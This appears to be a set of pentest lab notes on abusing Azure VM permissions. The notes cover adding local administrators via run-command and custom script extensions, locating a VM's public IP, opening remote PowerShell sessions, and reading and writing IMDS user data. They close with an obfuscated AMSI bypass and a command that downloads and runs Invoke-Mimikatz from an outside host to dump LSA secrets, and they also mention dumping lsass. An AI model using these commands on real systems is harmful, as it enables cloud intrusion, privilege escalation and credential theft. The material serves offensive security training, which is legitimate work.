Execute commands
If you have a token that has the permissions to execute commands on a VM, you can of course get access on the VM.
Run command on VM
Copy Invoke-AzVMRunCommand - VMname bkpadconnect - ResourceGroupName Engineering - CommandId 'RunPowerShellScript' - ScriptPath C:\AzAD\Tools\adduser.ps1 - Verbose
In this case, we add a user to the VM and add that local user to the local administrators.
Copy $passwd = ConvertTo-SecureString "StudXPassword@123" - AsPlainText - Force
New-LocalUser - Name student60 - Password $passwd
Add-LocalGroupMember - Group Administrators - Member student60
A VM in Azure is very likely being monitored/protected by Azure's security mechanisms. So doing a reverse shell may get blocked
Get Public IP of VM
First, get the network interfaces that our token can read:
Copy ( Get-AzVM - name bkpadconnect - ResourceGroupName Engineering | select - ExpandProperty NetworkProfile).NetworkInterfaces
Primary DeleteOption Id
------- ------------ --
/ subscriptions / b413826f - 108d - 4049 - 8c11 - xxxx / resourceGroups / Engineering / providers / Microsoft.Network / networkInterfaces / bkpadconnect368
The name of the interface is bkpadconnect368
. We can now get the details for the interface:
Copy Get-AzNetworkInterface - name bkpadconnect368
Name : bkpadconnect368
IpConfigurations : [
{
"Name" : "ipconfig1" ,
"Etag" : "W/\" 305e619b - 30e6 - 491c - a185 - xxxx\ "" ,
"Id" : "/subscriptions/b413826f-108d-4049-8c11-xxx/resourceGroups/Engineering/providers/Microsoft.Network/networkInterfaces/bkpadconnect368/ipConfigurations/ipconfig1" ,
"PrivateIpAddress" : "10.0.0.4" ,
"PrivateIpAllocationMethod" : "Dynamic" ,
"Subnet" : {
"Id" : "/subscriptions/b413826f-108d-4049-8c11-xxxx/resourceGroups/Engineering/providers/Microsoft.Network/virtualNetworks/Engineering-vnet/subnets/default" ,
"IpAllocations" : []
} ,
"PublicIpAddress" : {
"IpTags" : [] ,
"Zones" : [] ,
"Id" : "/subscriptions/b413826f-108d-4049-8c11-xxxxx/resourceGroups/Engineering/providers/Microsoft.Network/publicIPAddresses/bkpadconnectIP"
} ,
This will tell you the ID name of the publicIPAddress: bkpadconnectIP
. Using this information, we can get the public IP using:
Copy Get-AzPublicIpAddress - Name bkpadconnectIP
Name : bkpadconnectIP
ResourceGuid : a6e23b55 - d8b1 - 4e0e - 9fda - xxxxx
ProvisioningState : Succeeded
Tags :
PublicIpAllocationMethod : Dynamic
IpAddress : 1.1 . 1.1
Connect to VM
Copy $passwd = ConvertTo-SecureString "Password@123" - AsPlainText - Force
$creds = New-Object System.management.automation.pscredential ( "student" , $passwd)
$sess = New-PSSession 1.1 . 1.1 - Credential $creds - SessionOption ( New-PSSessionOption - ProxyAccessType NoProxyServer)
Enter-PSSession $sess
[ 1.1 . 1.1 ]: PS C:\Users\student60\Documents >
For example, read console history:
Copy cat C:\Users\bkpadconnect\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Or dump lsass etc.
User Data
User Data are scripts or any other data that can be inserted on a Azure VM at time of provision or later. A popular use case is joining a domain with a script.
Any application on the VM can access the user data from the Azure Instance Metadata Service (IMDS) after provisioning
It is possible to modify user data if you have a identity with the permissions Microsoft.Compute/virtualMachines/Write
.
Read User Data
Copy $userData = Invoke-RestMethod - Headers @ { "Metadata" = "true" } - Method GET - Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[ System.Text.Encoding ]::UTF8.GetString([ Convert ]::FromBase64String($userData))
Write User Data
Copy $data = [ Convert ]::ToBase64String([ Text.Encoding ]::UTF8.GetBytes( "whoami" ))
$accessToken = ( Get-AzAccessToken ).Token
$Url = "https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-
d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/jumpvm?api-version=2021-07-01"
$body = @ (
@ {
location = "Germany West Central"
properties = @ {
userData = "$data"
}
}
) | ConvertTo-Json - Depth 4
$headers = @ {
Authorization = "Bearer $accessToken"
}
$Results = Invoke-RestMethod - Method Put - Uri $Url - Body $body - Headers $headers - ContentType 'application/json'
Custom Script Extensions
Extensions are "small applications" used to provide post deployment configuration and other management tasks. They are used to run custom scripts on VMs.
Only one extension can be added to a VM at a time.
Can be inline or fetched for a storage blob (needs managed identity), or can be downloaded
These are executed with SYSTEM privileges
The following permissions are required to create a custom script extension and read the output:
Microsoft.Compute/virtualMachines/extensions/write
Microsoft.Compute/virtualMachines/extensions/read
Limitations of Az PowerShell
Since Az PowerShell has some limitations with requesting permissions with for example Get-AzRoleAssignment
that returns no output, we can do it manually using the API url:
Copy $Token = ( Get-AzAccessToken ).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-xxxx/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
PS C:\Users\studentuser60 > $RequestParams = @ {
>> Method = 'GET'
>> Uri = $URI
>> Headers = @ {
>> 'Authorization' = "Bearer $Token"
>> }}
PS C:\Users\studentuser60 > ( Invoke-RestMethod @RequestParams).value
actions notActions
------- ----------
{Microsoft.Compute / virtualMachines / extensions / write , Microsoft.Compute / virtualMachines / extensions / read} {}
Get Extensions
Copy Get-AzVMExtension - ResourceGroupName "Research" - VMName "infradminsrv"
Set Extension
(This also executed it)
Copy Set-AzVMExtension - ResourceGroupName "Research" - ExtensionName "ExecCmd" - VMName "infradminsrv" - Location "Germany WestCentral" - Publisher Microsoft.Compute - ExtensionType CustomScriptExtension - TypeHandlerVersion 1.8 - SettingString '{"commandToExecute":"powershell net user studentx StudxPassword@123 /add /Y; net localgroup administrators student60 /add"}'
Now create a new powershell session and get more details:
Copy Invoke-Command - Session $infraadminsrv - ScriptBlock {(dsregcmd / status)}
Copy S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f'.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ("{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
iex ( New-ObjectNet .Webclient).DownloadString( "http://172.16.10.10:82/Invoke-Mimikatz.ps1" )
Invoke-Mimikatz - Command '"token::elevate" "lsadump::secrets"'